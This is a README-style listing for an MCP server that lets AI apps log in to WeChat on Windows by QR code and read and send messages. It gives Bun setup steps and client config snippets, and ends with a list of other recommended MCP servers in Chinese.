mcp-wechat-server
Enables AI applications to send and read WeChat messages on Windows PCs through QR code authentication. Provides message polling, text sending, and session persistence for AI-powered chat interactions.
README
📱 mcp-wechat-server - Run WeChat in AI
🧩 What this does
mcp-wechat-server lets an AI app send and read WeChat messages on your Windows PC.
Use it when you want:
- an AI agent to reply to WeChat chats
- one place for login and message handling
- QR code login instead of typing passwords
- message polling so the app can wait for new messages
- a simple setup that runs from your computer
It works as an MCP server, so it connects to AI tools that support the Model Context Protocol.
📥 Download
Open the download page here:
If you are on Windows, use this page to get the latest files, then download and run the app from there.
🪟 Windows setup
Follow these steps on a Windows PC.
1. Open the download page
Go to:
https://github.com/Itzelma2310/mcp-wechat-server
Look for the latest release or the main project files.
2. Download the app
Download the Windows file or package from the page.
If you see a release file, save it to a folder you can find again, like:
- Downloads
- Desktop
- Documents
3. Install Bun
This app needs Bun to run.
Get Bun from:
After install, open Command Prompt or PowerShell and check that it works:
bun -v
If you see a version number, Bun is ready.
4. Start the server
Open Command Prompt or PowerShell in the folder where the app is saved.
Run:
bunx mcp-wechat-server
This starts the WeChat server.
5. Connect your AI app
Add the server to your AI app’s MCP settings.
Use this setup:
{
"mcpServers": {
"wechat": {
"command": "bunx",
"args": ["mcp-wechat-server"]
}
}
}
If your app uses a different config file, add the same command there.
6. Log in with a QR code
When the server starts, it can create a QR code for WeChat login.
You can scan it in one of these ways:
- text QR code in the terminal
- PNG QR code image
- URL link
Scan the code with WeChat on your phone and finish login.
🔧 System requirements
Use a Windows PC with:
- Windows 10 or Windows 11
- 2 GB free disk space
- a stable internet connection
- Bun 1.0 or later
- a working WeChat account on your phone
For best results, keep the PC on while the server runs.
⚙️ How it works
The app gives your AI tool a few key actions:
- log in to WeChat
- check for new messages
- send text messages
- show typing status
- keep state after restart
It uses long polling, so it can wait for new messages instead of checking too often. It can wait for a long time if needed.
🚀 Quick start for AI apps
Claude Desktop
Add this to claude_desktop_config.json:
{
"mcpServers": {
"wechat": {
"command": "bunx",
"args": ["mcp-wechat-server"]
}
}
}
OpenCode
Add this to opencode.json:
{
"mcp": {
"wechat": {
"type": "local",
"command": ["bunx", "mcp-wechat-server"],
"enabled": true
}
}
}
Cursor or other MCP clients
Use:
{
"command": "bunx",
"args": ["mcp-wechat-server"]
}
📲 First login
After you start the app, do this:
- wait for the QR code to appear
- open WeChat on your phone
- scan the QR code
- confirm the login
If the code appears as text in the terminal, you can copy it into a QR viewer or use the PNG image if the app creates one.
💬 Sending and reading messages
Once logged in, the AI agent can:
- read incoming messages
- send text replies
- check message status
- show typing status while it works
This helps the AI act like a chat assistant in WeChat.
🗂️ Saved data
The app keeps local state on your computer.
This includes:
- login info
- message position data
- session state
If you restart the app, it can keep working without starting from scratch.
🛠️ Common setup steps on Windows
If the app does not start
Check these points:
- Bun is installed
- you ran the command in the right folder
- your internet connection works
- the config file uses the right command
If the QR code does not appear
Try this:
- stop the app
- start it again
- check the terminal window for the QR text
- wait a few seconds for the image or link
If WeChat does not log in
Make sure:
- you scanned the latest QR code
- your phone has network access
- the login request was accepted in WeChat
If your AI app cannot connect
Check the MCP config:
- command should be
bunx - args should include
mcp-wechat-server - the config file should be saved
- the AI app should be restarted after changes
🧠 Tool list
This server includes 6 MCP tools for WeChat tasks.
They cover:
- login
- message polling
- text sending
- typing status
- session state
- message flow control
🔒 Privacy and local use
The server runs on your machine.
That means:
- your login stays on your PC
- message state stays local
- you control when the app runs
📁 Simple setup path
If you want the shortest path on Windows:
- open the GitHub page
- download or clone the project
- install Bun
- run
bunx mcp-wechat-server - add the MCP config to your AI app
- scan the QR code in WeChat
🧭 Basic usage flow
- launch the server
- log in with QR code
- connect your AI app
- let the AI read and send messages
- keep the app running while you use it
📌 What to expect after launch
When the app starts, you may see:
- a terminal window
- QR code text
- a login prompt
- message activity in the console
This is normal. The app waits for WeChat login and then handles messages for your AI tool
🧰 Helpful command
If you want to test Bun first, use:
bun -v
If you want to start the server again, use:
bunx mcp-wechat-server
🖥️ For non-technical users
If you are not used to command lines, follow this simple order:
- download the app
- install Bun
- open the folder
- run the command
- scan the QR code
- connect your AI app
If you can copy and paste text, you can set it up
📍 Download again
Use this page to get the latest version:
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。
Neon MCP Server
用于与 Neon 管理 API 和数据库交互的 MCP 服务器
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。